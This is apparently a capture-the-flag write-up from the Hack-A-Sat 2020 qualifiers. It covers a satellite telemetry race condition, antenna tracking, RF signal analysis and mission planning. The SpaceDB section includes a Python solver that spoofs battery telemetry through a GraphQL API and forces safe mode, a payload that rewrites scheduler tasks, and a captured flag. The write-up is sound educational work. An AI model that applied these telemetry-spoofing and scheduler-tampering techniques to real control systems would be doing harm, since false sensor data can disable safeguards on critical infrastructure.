Hack-A-Sat Qualifiers 2020

SpaceDB

The last over-the-space update seems to have broken the housekeeping on our satellite. Our satellite's battery is low and is running out of battery fast. We have a short flyover window to transmit a patch or it'll be lost forever. The battery level is critical enough that even the task scheduling server has shutdown. Thankfully can be fixed without without any exploit knowledge by using the built in APIs provied by kubOS. Hopefully we can save this one!

Upon connecting to the challenge, we see this:

### Welcome to kubOS ###
Initializing System ...

** Welcome to spaceDB **
-------------------------

req_flag_base  warn: System is critical. Flag not printed.

critical-tel-check  info: Detected new telemetry values.
critical-tel-check  info: Checking recently inserted telemetry values.
critical-tel-check  info: Checking gps subsystem
critical-tel-check  info: gps subsystem: OK
critical-tel-check  info: reaction_wheel telemetry check.
critical-tel-check  info: reaction_wheel subsystem: OK.
critical-tel-check  info: eps telemetry check.
critical-tel-check  warn: VIDIODE battery voltage too low.
critical-tel-check  warn: Solar panel voltage low
critical-tel-check  warn: System CRITICAL.
critical-tel-check  info: Position: GROUNDPOINT
critical-tel-check  warn: Debug telemetry database running at: 3.19.61.44:32697/tel/graphiql

Visiting the "Debug telemetry database" linked above brings up a nice web interface for GraphQL. We could query for various telemetry entries:

However, the most we could do is to inject new telemetry entries, nothing interesting there.

update_tel  info: Updating reaction_wheel telemetry.
update_tel  info: Updating gps telemetry.
update_tel  info: Updating eps telemetry.

critical-tel-check  info: Detected new telemetry values.
critical-tel-check  info: Checking recently inserted telemetry values.
critical-tel-check  info: Checking gps subsystem
critical-tel-check  info: gps subsystem: OK
critical-tel-check  info: reaction_wheel telemetry check.
critical-tel-check  info: reaction_wheel subsystem: OK.
critical-tel-check  info: eps telemetry check.
critical-tel-check  warn: VIDIODE battery voltage too low.
critical-tel-check  warn: Solar panel voltage low
critical-tel-check  warn: System CRITICAL.
critical-tel-check  info: Position: GROUNDPOINT
critical-tel-check  warn: Debug telemetry database running at: 3.19.61.44:32697/tel/graphiql

Going back to the console, we noticed an noticeable delay between the update_tel and critical-tel-check messages being printed.

We identified a race condition here: We can delete and recreate the telemetry entry for VIDIODE after it was written by update_tel, but before critical-tel-check checks it.

Once done, we see the following:

critical-tel-check  info: Detected new telemetry values.
critical-tel-check  info: Checking recently inserted telemetry values.
critical-tel-check  info: Checking gps subsystem
critical-tel-check  info: gps subsystem: OK
critical-tel-check  info: reaction_wheel telemetry check.
critical-tel-check  info: reaction_wheel subsystem: OK.
critical-tel-check  info: eps telemetry check.
critical-tel-check  warn: Solar panel voltage low
critical-tel-check  info: eps subsystem: OK
critical-tel-check  info: Position: GROUNDPOINT
critical-tel-check  warn: System: OK. Resuming normal operations.
critical-tel-check  info: Scheduler service comms started successfully at: 3.19.61.44:32697/sch/graphiql

Upon loading the "Scheduler service", we get access to a very similar looking GraphQL interface, except that this time, we can modify the various schedules.

Its useful to note at this point that the GraphQL instances running were talking to KubOS.

We dumped existing schedules:

{
  "data": {
    "availableModes": [
      {
        "name": "low_power",
        "schedule": [
          {
            "tasks": [
              {
                "app": {
                  "name": "low_power"
                },
                "description": "Charge battery until ready for transmission.",
                "delay": "5s",
                "period": null,
                "time": null
              },
              {
                "app": {
                  "name": "activate_transmission_mode"
                },
                "description": "Switch into transmission mode.",
                "delay": null,
                "period": null,
                "time": "2020-05-23 13:52:32"
              }
            ],
            "path": "/challenge/target/release/schedules/low_power/nominal-op.json",
            "filename": "nominal-op"
          }
        ]
      },
      {
        "name": "safe",
        "schedule": []
      },
      {
        "name": "station-keeping",
        "schedule": [
          {
            "tasks": [
              {
                "app": {
                  "name": "update_tel"
                },
                "description": "Update system telemetry",
                "delay": "35s",
                "period": "1m",
                "time": null
              },
              {
                "app": {
                  "name": "critical_tel_check"
                },
                "description": "Trigger safemode on critical telemetry values",
                "delay": "5s",
                "period": "5s",
                "time": null
              },
              {
                "app": {
                  "name": "request_flag_telemetry"
                },
                "description": "Prints flag to log",
                "delay": "0s",
                "period": null,
                "time": null
              }
            ],
            "path": "/challenge/target/release/schedules/station-keeping/nominal-op.json",
            "filename": "nominal-op"
          }
        ]
      },
      {
        "name": "transmission",
        "schedule": [
          {
            "tasks": [
              {
                "app": {
                  "name": "groundpoint"
                },
                "description": "Orient antenna to ground.",
                "delay": null,
                "period": null,
                "time": "2020-05-23 13:52:42"
              },
              {
                "app": {
                  "name": "enable_downlink"
                },
                "description": "Power-up downlink antenna.",
                "delay": null,
                "period": null,
                "time": "2020-05-23 13:53:02"
              },
              {
                "app": {
                  "name": "disable_downlink"
                },
                "description": "Power-down downlink antenna.",
                "delay": null,
                "period": null,
                "time": "2020-05-23 13:53:07"
              },
              {
                "app": {
                  "name": "sunpoint"
                },
                "description": "Orient solar panels at sun.",
                "delay": null,
                "period": null,
                "time": "2020-05-23 13:53:12"
              }
            ],
            "path": "/challenge/target/release/schedules/transmission/nominal-op.json",
            "filename": "nominal-op"
          }
        ]
      }
    ]
  }
}

Four modes were available:

  • low_power: Go into low power mode, then transmission
  • safe: Safe mode, disables critical_tel_check which stops the scheduler GraphiQL from being closed
  • station-keeping: Default mode, checks telemetry and thresholds
  • transmission: Transmits data back to the ground station

After a couple hours of trial and error, we did the following:

  1. Create and run new mode with sunpoint as a task
  2. Recreate schedule for transmission to call request_flag_telemetry after enable_downlink
  3. Activate low_power

This results in the following:

sunpoint  info: Adjusting to sunpoint...
sunpoint  info: [2020-05-23 14:01:14] Sunpoint panels: SUCCESS

Low_power mode enabled.
Timetraveling.

Transmission mode enabled.

Pointing to ground.
Transmitting...

----- Downlinking -----
Recieved flag.
flag{echo88366victor:GGsK_w-0Nzhe7qnctS_ZPryUg_Zi9HGDiRj9cE1htbJEc5zyhi8y0Q6sOIUUXlHp55y99WPK5_Kk1qjzuETKRW8}

Downlink disabled.
Adjusting to sunpoint...
Sunpoint: TRUE
Goodbye

Solver

#!/usr/bin/python3

# ran with `python <script.py> <ip and port of instance>`
# reads telemetry values until new entry created, then deletes and recreates
# VIDIODE entry with voltage = 8

import requests
from json import loads
import sys

host = sys.argv[1]

def q(query, t="tel"):
    try:
        endpoint = f"http://{host}/graphql"
        r = requests.post(endpoint, json={"query":query}, headers={
            "Content-Type": "application/json",
            'Accept': 'application/json',
            'Origin': f'http://{host}',
            'Referer': f'http://{host}/{t}/graphiql'
        })
    except KeyboardInterrupt:
        sys.exit()
    except:
        return True, {}

    return False, loads(r.text)

getLatest = '''
    {
	telemetry(limit:1, parameter: "VIDIODE"){
    timestamp
    subsystem
    parameter
    value
  }
}
'''

_, data = q(getLatest)
print(data)
start_time = data["data"]["telemetry"][0]["timestamp"]
print(start_time)

time = start_time
c = 0
while time == start_time:
    err, data = q(getLatest)
    if err:
        continue
    print(c, data)
    # data is false if db is locked
    if not data["data"]:
        break
    time = data["data"]["telemetry"][0]["timestamp"]
    c += 1

# at this point, time is a timestamp for a new telemetry entry

deleteLatest = f'''
mutation {{
delete(timestampGe: {time}, parameter:"VIDIODE") {{
    success
}}
}}
'''

print(q(deleteLatest))

createFake = f'''
mutation {{
insert(timestamp: {time}, subsystem:"eps", parameter:"VIDIODE", value:"8") {{
    success
    errors
}}
}}
'''

print(q(createFake))

safe = '''
mutation {
    safeMode {
        success
        errors
    }
}'''

while True:
    err, data = q(safe, t="sch")
    if not err:
        break

GraphQL Payload

mutation charge{
  createMode(name:"win") {
  	success
    errors
  }
  i1: importRawTaskList(
    name: "nominal-op",
    mode: "win",
    json: "{ \"tasks\": [ {\"description\": \"asdf\", \"delay\": \"0s\", \"app\": {\"name\": \"sunpoint\"}} ] }"
  ) {
    success
    errors
  }

  removeTaskList(name:"nominal-op", mode:"transmission") {
    success
  }

  importRawTaskList(
    name: "nominal-op",
    mode: "transmission",
    json: "{\"tasks\": [ { \"app\": { \"name\": \"groundpoint\" }, \"description\": \"Orient antenna to ground.\", \"delay\": null, \"period\": null, \"time\": \"2020-05-23 14:48:20\" }, { \"app\": { \"name\": \"enable_downlink\" }, \"description\": \"Power-up downlink antenna.\", \"delay\": null, \"period\": null, \"time\": \"2020-05-23 14:48:40\" }, { \"app\": { \"name\": \"request_flag_telemetry\" }, \"description\": \"Power-down downlink antenna.\", \"delay\": null, \"period\": null, \"time\": \"2020-05-23 14:48:43\" }, { \"app\": { \"name\": \"disable_downlink\" }, \"description\": \"Power-down downlink antenna.\", \"delay\": null, \"period\": null, \"time\": \"2020-05-23 14:48:45\" }, { \"app\": { \"name\": \"sunpoint\" }, \"description\": \"Orient solar panels at sun.\", \"delay\": null, \"period\": null, \"time\": \"2020-05-23 14:48:50\" } ]}"
  ) {
    success
    errors
  }

  a1: activateMode(name:"win"){
    success
    errors
  }
}

mutation run {
  activateMode(name:"low_power"){
    success
    errors
  }
}

Track-a-Sat

We have obtained access to the control system for a groundstation's satellite antenna. The azimuth and elevation motors are controlled by PWM signals from the controller. Given a satellite and the groundstation's location and time, we need to control the antenna to track the satellite. The motors accept duty cycles between 2457 and 7372, from 0 to 180 degrees.
Some example control input logs were found on the system. They may be helpful to you to try to reproduce before you take control of the antenna. They seem to be in the format you need to provide. We also obtained a copy of the TLEs in use at this groundstation.

Relatively straightforward, grab a library, define the ground station, map calculated azimuth and altitude into the given PWM range.

Solver

#!/usr/bin/python3

from skyfield.api import load, Topos
from datetime import datetime
from datetime import timedelta
from datetime import timezone
import numpy as np

PWM_MIN = 2457
PWM_MAX = 7372

def deg_to_pwm(deg):
    return np.interp(deg, (0, 180), (PWM_MIN, PWM_MAX))

planets = load('de421.bsp')
satellites = load.tle_file("sats.txt")
sats = { sat.name: sat for sat in satellites }

data = {
    "lat": "37.0389",
    "lon": "22.1142",
    "sat": "GLOBALSTAR M065",
    "start_time": "1586322984.332632"
}

gs = Topos(f'{data["lat"]} N', f'{data["lon"]} E')

if data["sat"] not in sats:
    raise Exception(f'Unknown satellite {data["sat"]}')

basetime = datetime.utcfromtimestamp(float(data["start_time"])).replace(tzinfo=timezone.utc)
times = [basetime + timedelta(seconds=i) for i in range(720)]
ts = load.timescale()

sat = sats[data["sat"]]
for dt in times:
    t = ts.utc(dt)

    topocentric = (sat - gs).at(t)

    alt, az, distance = topocentric.altaz()

    alt = alt.degrees
    az = az.degrees

    if az > 180:
        az -= 180
        alt = 180 - alt

    az_pwm = int(deg_to_pwm(az))
    alt_pwm = int(deg_to_pwm(alt))

    print(f'{dt.timestamp()}, {az_pwm}, {alt_pwm}')

I See What You Did There

We lost our direct access to control the Track-a-Sat groundstation antenna (see earlier challenge), but we have a new source of information on the groundstation. From outside the compound, we have gathered 3 signal recordings of radio emissions from the cables controlling the antenna motors. We believe the azimuth and elevation motors of each antenna are controlled the same way as the earlier groundstation we compromised, using a PWM signal that varies between 5% and 35% duty cycle to move one axis from 0 degrees to 180 degrees. We need to use these 3 recordings to determine where each antenna was pointing, and what satellite it was tracking during the recording period.
To help you in your calculations, we have provided some example RF captures from a different groundstation with a similar antenna system, where we know what satellites were being tracked. You will want to use that known reference to tune your analysis before moving on to the unknown signals. The example files are in a packed binary format. We have provided a script you can use to translate it to a (large) CSV if you like. The observations are sampled at a rate of 102400Hz and there are two channels per sample (one for azimuth, the other for elevation).

This challenge approaches Track-a-Sat from the other angle - given a ground station with an antenna and a recording of radio signals emitted from that station, identify the azimuth and altitude of the antenna and the corresponding satellite the antenna was tracking.

Notebooks for this challenge can be found here.

These 3 signal captures record the RF emitted from the azimuth and elevation PWM control lines for 3 satellite observations.
All were recorded from latitude 32.4907 N, longitude 45.8304 E at 2020-04-07 08:57:43.726371 GMT (1586249863.726371)
signal_1.bin is tracking CANX-7
signal_2.bin is tracking STARLINK-1113
signal_3.bin is tracking SORTIE
The azimuth and elevation motors can move between 0 and 180 degrees with 5% to 35% duty cycles.

SatellitePredict.ipynd

FFT performed on 1s of data

Fast Fourier Transforms were computed on the provided example signals at 1s intervals. Since the example signals also had a known target satellite, the corresponding azimuth and altitude can be computed.

We made a guess and realised that the magnitude of the 50Hz harmonics in the signals were loosely related to the PWM duty cycle.

Harmonic Magnitude PWM Duty Cycle
145447.218506 33.855021
145374.282565 34.525389
148652.064185 9.649925
148599.100042 8.988361
148463.865469 7.748754
148281.809089 6.301581
148094.986495 5.048586

Linear Regression was used to predict the PWM values from the challenge data, having been trained on the 720s of sample data.

Recovered signal 0
Recovered signal 1
Recovered signal 2

SatelliteViz.ipynb

Since we know the location of the target antenna and the tracking time, we can iterate over all the satellites and identify which ones were visible. In the interest of development time and there being only a few hundred possible matches, we manually identified valid matches.

Actual signal 0
Actual signal 1
Actual signal 2

Surprisingly, we managed to recover quite a close approximation to the original signal (albeit with some shift that probably makes automated correlation harder).

Mission Planning

The current time is April 22, 2020 at midnight (2020-04-22T00:00:00Z).
We need to obtain images of the Iranian space port (35.234722 N 53.920833 E) with our satellite within the next 48 hours.
You must design a mission plan that obtains the images and downloads them within the time frame without causing any system failures on the spacecraft, or putting it at risk of continuing operations.
The spacecraft in question is USA 224 in the NORAD database with the following TLE:
1 37348U 11002A   20053.50800700  .00010600  00000-0  95354-4 0    09
2 37348  97.9000 166.7120 0540467 271.5258 235.8003 14.76330431    04
The TLE and all locations are already known by the simulator, and are provided for your information only.
Requirements
############
You need to obtain 120 MB of image data of the target location and downlink it to our ground station in Fairbanks, AK (64.977488 N 147.510697 W).
Your mission will begin at 2020-04-22T00:00:00Z and last 48 hours.
You are submitting a mission plan to a simulator that will ensure the mission plan will not put the spacecraft at risk, and will accomplish the desired objectives.
Mission Plan
############
Enter the mission plan into the interface, where each line corresponds to an entry.
You can copy/paste multiple lines at once into the interface.
The simulation runs once per minute, so all entries must have 00 for the seconds field.
Each line must be a timestamp followed by the mode with the format:
2020-04-22T00:00:00Z sun_point
YYYY-MM-DDThh:mm:00Z next_mode

Listing out the following things:

  1. Rise and set time of the satellite with respect to the ground station
  2. Rise and set time of the satellite with respect to the target
  3. Time at which the satellite can see the sun

plus a bit of trial and error results in a successful plan:

2020-04-22T00:00:00Z sun_point
2020-04-22T09:28:00Z imaging
2020-04-22T09:35:00Z sun_point
2020-04-22T10:47:00Z data_downlink
2020-04-22T10:51:00Z sun_point
2020-04-22T22:22:00Z data_downlink
2020-04-22T22:27:00Z sun_point
2020-04-22T23:58:00Z data_downlink
2020-04-22T23:59:00Z wheel_desaturate
2020-04-23T01:27:00Z sun_point
2020-04-23T07:57:00Z data_downlink
2020-04-23T08:00:00Z sun_point
2020-04-23T09:50:00Z imaging
2020-04-23T09:57:00Z sun_point
2020-04-23T11:10:00Z data_downlink
2020-04-23T11:13:00Z sun_point
2020-04-23T22:44:00Z data_downlink
2020-04-23T22:48:00Z wheel_desaturate
2020-04-23T23:00:00Z sun_point

Script

import ephem
from skyfield.api import load, Topos, EarthSatellite

sat_tle = """USA 224
1 37348U 11002A   20053.50800700  .00010600  00000-0  95354-4 0    09
2 37348  97.9000 166.7120 0540467 271.5258 235.8003 14.76330431    04""".splitlines()

gs = Topos("64.977488 N", "147.510697 W")
tg = Topos("35.234722 N", "53.920833 E")

ts = load.timescale()
mission_start = ts.utc(2020, 4, 22)
mission_end = ts.utc(2020, 4, 24)

sat = EarthSatellite(sat_tle[1], sat_tle[2], sat_tle[0], ts)

t, events = sat.find_events(tg, mission_start, mission_end, altitude_degrees=10)
for ti, event in zip(t, events):
    name = ('rise above 10°', 'culminate', 'set below 10°')[event]
    print(ti.utc_jpl(), name)

print()

t, events = sat.find_events(gs, mission_start, mission_end, altitude_degrees=10)
for ti, event in zip(t, events):
    name = ('rise above 10°', 'culminate', 'set below 10°')[event]
    print(ti.utc_jpl(), name)